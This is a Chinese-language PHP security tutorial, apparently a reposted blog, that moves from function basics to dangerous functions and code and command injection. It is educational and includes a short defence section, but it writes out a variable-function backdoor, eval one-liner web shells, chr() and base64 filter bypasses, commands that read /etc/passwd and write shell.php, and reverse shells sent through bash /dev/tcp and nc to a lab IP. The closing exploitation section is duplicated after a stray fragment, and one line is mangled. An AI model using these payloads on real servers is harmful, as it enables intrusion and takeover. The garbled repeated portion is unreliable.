文章目录
PHP函数
函数定义:函数就是可以完成固定功能的语句或语句集合,可以重复调用。
1. 自定义函数
1.1 函数语言结构
function 函数名(形式参数1,形式参数2...){ //函数体 return 返回值;}函数名();
定义一个简单的函数:
// funtion.phpfunction test(){ echo "This is function ".__FUNCTION__;}test();
说明:_FUNCTION_:输出当前函数的名字。
1.2 函数传参
// function.phpfunction add($x, $y){ $sum = $x + $y; return $sum;}echo add(10, 3);
注意:
- function 是PHP 的关键字,用于完成函数的定义。
- 函数名的命名,应该避开PHP 关键字,命名规则与变量的命名规则相同。
- 形式参数,形参,给函数传递参数用的,仅作占位用。
- 实际参数,实参,真正参与函数运算的。
- 函数体,执行函数功能的部分。
- 返回值,返回给调用的地方,默认返回NULL。
1.3 函数调用
函数的调用,函数名加上小括号。
1.3.1 函数调用过程
function a(){ echo "This is func ".__FUNCTION__."
";}function b(){ echo __FUNCTION__." is starting...
"; a(); echo __FUNCTION__." is stopped!
";}b();
注意:
- 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符。
- 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系。
- 函数执行完毕,返回调用的位置继续向下执行。
1.4 变量范围
- 局部变量
- 全局变量
- 超全局变量
1.4.1 局部变量
局部变量,就是在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。
// function.phpfunction get_name(){ $username = "AJEST"; echo "My name is {$username}";}get_name();echo $username; // Notice: Undefined variable: username
1.4.2 全局变量
全局变量是在脚本中,函数或类的外部定义的变量。
// function.php$username = "AJEST";function get_name(){ echo "My name is {$username}";}get_name(); // Notice: Undefined variable: username
注意:PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与JavaScript 和Python 不同。
可以有如下变通方法:
- 利用函数传参的方式。
$username = "AJEST";function get_name($username){ echo "My name is {$username}";}get_name($username);
- 用global 声明变量是全局变量。
// function.php$username = "AJEST";function get_name(){ global $username; echo "My name is {$username}";}get_name();
1.5 参数传递
1.5.1 按值传参
默认传参方式。
function add($x, $y){ $sum = $x + $y; return $sum;}echo add(10, 3);
对形参的操作,不会改变实参的值。
1.5.2 默认参数
可以给形式参数设置默认值,设置方法很简单直接赋值即可。
给函数默认值的时候,全都给。
function add($x = 0, $y = 0){ $sum = $x + $y; return $sum;}// echo add(); // 0// echo add(10, 3); // 13echo add(10); // 10
- add(10),单个参数数字10 是给了x 呢?还是给了y 呢?
2. 可变函数
2.1 概述
可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()
。这是PHP 特性之一,这种特性通常会被攻击者所利用。
直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
2.2 动态函数
示例
function a(){ echo "This is function a";}function b(){ echo "This is function b";}// a();// b();// $func_name = "b";$func_name = ($_GET['func_name']);$func_name(); // a(); // b(); // phpinfo();
2.3 最简单后门
通过可变函数实际上可以调用任意PHP 函数。
$_GET['a']($_GET['b']);
可变函数不能用于,例如echo,print,unset(),isset(),empty(),include,require,eval 等类似的语言结构。
可以使用自己的包装函数来将这些结构用作可变函数。
function e($code){ @eval($code);}$_GET['a']($_GET['b']);//?a=e&b=phpinfo();//?a=e&b=ipconfig;
说明:
- eval():会将符合PHP 语法规范字符串当作php代码执行。
3. 内置函数
内部(内置)函数,PHP 提供许多现成的函数或者语言结构,可以直接使用。
system();// 执行外部程序,并且显示输出
PHP危险函数
PHP 中有一些函数是比较危险的,也是进行PHP 代码审计的时候需要重点关注的内容。
函数或语句或结构 | 含义 |
---|---|
eval() | 将符合PHP 语法规范字符串当作php 代码执行 |
assert() | 将字符串当做PHP 代码来执行 |
preg_replace() | 对字符串进行正则匹配后替换 |
call_user_func() | 用于调用一个回调函数,并将参数作为参数传递给回调函数。 |
call_user_func_array() | 用于以数组形式调用一个回调函数,并将参数作为数组的元素传递给回调函数。 |
array_map() | 用于将回调函数应用于一个或多个数组的所有元素,并返回一个新的数组,其中包含应用回调函数后的结果。 |
a ( a( a(b) | 动态函数 |
system() | 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行 |
exec() | 用于执行操作系统的命令,并返回命令的输出或结果。 |
shell_exec() | 用于在服务器上执行 shell 命令,并将命令的输出作为字符串返回。 |
passthru() | 用于执行命令并将输出直接发送到标准输出(通常是浏览器) |
popen() | 用于执行命令并通过管道将其输入或输出与程序相关联。它创建一个文件指针(类似于打开文件)以用于读取或写入命令的输出或输入。 |
反引号 | 反引号` 内的字符串,会被解析成OS 命令。 |
1. eval 语句
eval() 会将符合PHP 语法规范字符串当作php 代码执行。
代码示例:
// $code = "phpinfo();"; // echo $code; // var_dump($code); $code = $_REQUEST['code']; eval($code);?>
一句话木马原型。
在虚拟机的浏览器中输入?code=phpinfo();
页面显示效果:
1.1 绕过限制
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];//empty() 是一个 PHP 函数,用于检查给定变量是否为空或不存在。在这里,它用于检查用户是否提供了 "code" 参数或该参数的值为空。$code = addslashes($code);//addslashes($code) 这个命令的作用是对变量 $code 中的字符串进行转义处理。//echo $code;eval($code);
如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用如下方法进行绕过:
ASCII 编码
system('whoami');chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59));
BASE64 编码
system('whoami');c3lzdGVtKCd3aG9hbWknKTs=?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs));
说明:虽然可以使用函数的方式调用eval(),但是eval() 不是PHP 的函数,是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束。
其他命令执行的方式:
?code=phpinfo();?code=${phpinfo()};?code=ajest;phpinfo();?code=?>AJEST IS HANDSOME<?php phpinfo();?code=eval(phpinfo());
安全的过滤防止潜在的安全漏洞
在使用 eval()
函数之前,可以通过以下方法对用户输入进行过滤和验证,防止潜在的安全漏洞:
- 禁用危险函数:阻止用户代码中调用危险函数或类。可以使用 PHP 的
disable_functions
配置指令在php.ini
文件中禁用一些敏感的函数,例如exec()
、system()
、shell_exec()
、passthru()
等可以执行系统命令的函数。 - 白名单验证:定义一个允许的代码集合,只接受特定的函数或命令。使用白名单过滤,只允许用户代码中使用预定义的安全函数或命令,并拒绝其他不受支持的函数或命令。
- 输入验证:验证用户输入是否符合预期的格式、类型或约束条件。使用函数如
is_numeric()
、intval()
、filter_var()
等进行输入验证,确保用户提供的参数符合预期的数据类型或格式要求。 - 转义字符:对用户输入的字符串或命令进行转义处理,以避免特殊字符被误认为代码的一部分。可以使用函数如
addslashes()
、htmlspecialchars()
等对特殊字符进行转义,确保它们不会破坏代码结构或引入安全风险。 - 正则表达式:使用正则表达式进行模式匹配和过滤,以确保用户输入只包含合法的命令或函数。通过限制输入的格式和内容,可以降低风险。
2. assert 函数
assert():会将字符串当做PHP代码来执行。
代码示例:
// $code = "phpinfo();"; // var_dump($code); $code = $_REQUEST['code']; assert($code);?>
说明:
- assert() 只能执行单条PHP 语句。
- assert() 是一个函数,可以动态调用。
- 高版本的PHP中,assert() 被弃用。
3. preg_replace 函数
preg_replace() 函数的作用是对字符串进行正则匹配后替换。
代码示例:
$code = preg_replace('~a~', 'A', 'ajest'); $code = preg_replace('~\[.*\]~', 'A', '[phpinfo()]'); $code = preg_replace('~\[(.*)\]~', 'A', '[phpinfo()]'); $code = preg_replace('~\[(.*)\]~', '\\1', '[phpinfo()]'); $code = preg_replace('~\[(.*)\]~e', '\\1', '[phpinfo()]'); echo $code;?>
说明:
-
函数原型如下:
preg_replace($pattern, $replacement, $subject, $limit = -1, &$count = null): mixed
搜索 s u b j e c t 中匹配 subject 中匹配 subject中匹配pattern 的部分,以$replacement 进行替换。
-
preg_replace() 函数中第一个参数是正则表达式,e 是正则表达式的修饰符。
-
preg_replace('~\(.*\)~', 'A', '[phpinfo()]');
代码解析如下:-
~\[.*\]~
:这是一个正则表达式模式,用来匹配方括号括起来的内容。其中,~
是正则表达式的分隔符,\(
表示匹配左括号(
,.*
表示匹配任意字符零次或多次,\)
表示匹配右括号)
。 -
'A'
:是替换匹配到的内容的字符串,将匹配到的[...]
部分替换为字符'A'
。
-
4. 回调函数
一个函数调用另外一个函数,PHP 语言中回调函数有很多。
4.1 call_user_func
$func = 'assert'; $arg = 'phpinfo();'; call_user_func($func, $arg);?>
说明:
-
call_user_func()
是一个 PHP 函数,用于调用一个回调函数,并将参数作为参数传递给回调函数。 -
assert()
:是一个 PHP函数,用于检查给定的表达式是否为真。如果表达式的结果为假,则会触发一个断言错误,并中止脚本的执行。 -
函数原型:
mixed call_user_func(callable $callback, mixed ...$parameters)
参数:
$callback
:要调用的回调函数。它可以是一个函数名的字符串,也可以是一个包含对象和方法名的数组,或者是一个匿名函数。$parameters
:可选的参数,用于传递给回调函数。
返回值:
- 调用成功时,返回回调函数的返回值。
- 调用失败时,返回
false
。
4.2 array_map
$func = "assert"; $arg[] = "phpinfo();"; array_map($func, $arg);?>
说明:
-
用于将回调函数应用于一个或多个数组的所有元素,并返回一个新的数组,其中包含应用回调函数后的结果。
-
函数原型:
array array_map(callable $callback, array $array1, ...)
参数:
$callback
:要应用于每个数组元素的回调函数。$array1
:第一个要处理的数组。...
:可选的额外数组,可以提供多个数组进行处理。
返回值:
- 一个新数组,其中包含应用回调函数后的结果。新数组的长度由最短输入数组决定。
5. 动态函数
由于PHP 的特性原因,PHP 的函数支持直接由拼接的方式调用,这直接导致了PHP 在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func() 的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。
$code = "phpinfo();"; $func = "assert"; $func($code); // assert(phpinfo());?>
6. OS 命令执行函数
6.1 system 函数
system() 能够将字符串作为操作系统(Operator Sytstemc,OS)命令执行。在类似systemc() 函数调用系统命令时,PHP 会自动区分平台。
代码示例:
// $cmd = "net user"; $cmd = $_REQUEST['cmd']; system($cmd);?>
说明:
- 自带输出功能。
- 自动区分系统平台。
?cmd=whoami?cmd=ipconfig?cmd=uname -a
6.2 exec 函数
exec():用于执行操作系统的命令,并返回命令的输出或结果。
代码示例
// $cmd = "whoami"; $cmd = $_REQUEST['cmd']; echo exec($cmd);?>
函数特点:
- 需要输出命令执行结果。
- 只输出命令执行结果的最后一行,约等于没有回显。
6.3 shell_exec 函数
shell_exec():用于在服务器上执行 shell 命令,并将命令的输出作为字符串返回。
代码示例:
// $cmd = "whoami"; $cmd = $_REQUEST['cmd']; echo shell_exec($cmd);?>
说明:
- 需要输出命令执行结果。
6.4 passthru 函数
passthru():用于执行命令并将输出直接发送到标准输出(通常是浏览器)。
代码示例:
// $cmd = "whoami"; $cmd = $_REQUEST['cmd']; passthru($cmd);?>
说明:
- 自带输出功能。
6.5 popen 函数
popen():用于执行命令并通过管道将其输入或输出与程序相关联。它创建一个文件指针(类似于打开文件)以用于读取或写入命令的输出或输入。
代码示例
$cmd = $_REQUEST['cmd']; $result = popen($cmd, 'r'); echo fread($result, 1024); //fread() 是一个 PHP 函数,用于从文件指针中读取指定长度的数据。?>
说明:
-
函数返回值为文件指针,可以简单理解为文件名。
-
函数原型:
resource|false popen(string $command, string $mode)
参数:
$command
:要执行的命令。$mode
:指定管道的模式,可以是"r"
(只读)或"w"
(只写)。
返回值:
- 如果成功,则返回一个文件指针资源(
resource
)。 - 如果失败,则返回
false
。
6.6 反引号
反引号` 内的字符串,会被解析成OS 命令。
代码示例
$cmd = "whoami"; //$cmd = "ipconfig"; //$cmd = "net user"; echo ""
.`$cmd`;?>
RCE
1. PHP 代码注入
原理
传入PHP 代码执行函数的变量,客户端可控,并且没有做严格的过滤。那么攻击者可以随意输入(注入,注射,Inject)他想要执行的代码,并且在服务器端执行。如果代码在服务器端执行成功,就认为存在PHP 代码注入漏洞,也就是RCE。
危害
Web 应用如果存在远程代码执行漏洞(RCE)是一件非常可怕的事情,攻击者通过RCE 继承Web 用户权限,执行任意(PHP)代码。
如果服务器没有正确配置,Web 用户权限比较高的话,就可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。
漏洞利用
代码执行漏洞的利用方式有很多种。
获取Shell,中国蚁剑可以直接连接。
shell: http://10.4.7.187/php/functions/eval.phppass: code
获取当前文件的绝对路径。
?code=print(__FILE__);
读文件。
?code=print(file_get_contents('eval.php'));?code=print(file_get_contents('c:/windows/system32/drivers/etc/hosts'));
写文件。
?code=file_put_contents('shell.php','');
2. OS 命令注入漏洞
原理
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
漏洞危害
- 继承Web 服务器程序权限,去执行系统命令。
- 继承Web 服务器权限,读写文件。
- 反弹Shell。
- 控制整个网站,控制整个服务器。
漏洞利用
OS 命令注入漏洞,攻击者直接继承Web 用户权限,在服务器上执行任意系统命令,危害特别大。
查看系统文件(读)。
?cmd=type c:\windows\system32\drivers\etc\hosts?cmd=cat /etc/passwd
显示当前路径。
?cmd=cd
写文件。
?cmd=echo ^<^?php phpinfo();^?^> > shell.php?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php
执行某一个程序。
?cmd=c:\windows\system32\calc.exe
反弹Shell。
# 本机监听nc -lnvp 1234# Linux 下反弹Shell ?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash# Windows 反弹Shell?cmd=nc.exe -e cmd.exe 10.4.7.1 1234
漏洞防御
- 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
- preg_replace() 放弃使用e 修饰符。
- 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert
2\drivers\etc\hosts
?cmd=cat /etc/passwd
显示当前路径。```text?cmd=cd
写文件。
?cmd=echo ^<^?php phpinfo();^?^> > shell.php?cmd=echo ^<^?php @eval($_REQUEST[777])^?^> > shell.php?cmd=echo PD89cGhwaW5mbygpPz4= | base64 -d > shell.php
执行某一个程序。
?cmd=c:\windows\system32\calc.exe
反弹Shell。
# 本机监听nc -lnvp 1234# Linux 下反弹Shell ?cmd=bash -i >& /dev/tcp/10.4.7.1/1234 0>&1?cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40LjcuMS8xMjM0IDA+JjE= | base64 -d | bash# Windows 反弹Shell?cmd=nc.exe -e cmd.exe 10.4.7.1 1234
漏洞防御
- 尽量不要使用eval 等危险函数,如果使用的话一定要进行严格的过滤。
- preg_replace() 放弃使用e 修饰符。
- 在php.ini 配置文件中disable_functions 中禁用。
disable_functions = system,assert
- 参数的值尽量使用引号包裹,并在拼接前调用addslashes() 进行转义。
来源地址:https://blog.csdn.net/weixin_58783105/article/details/132358707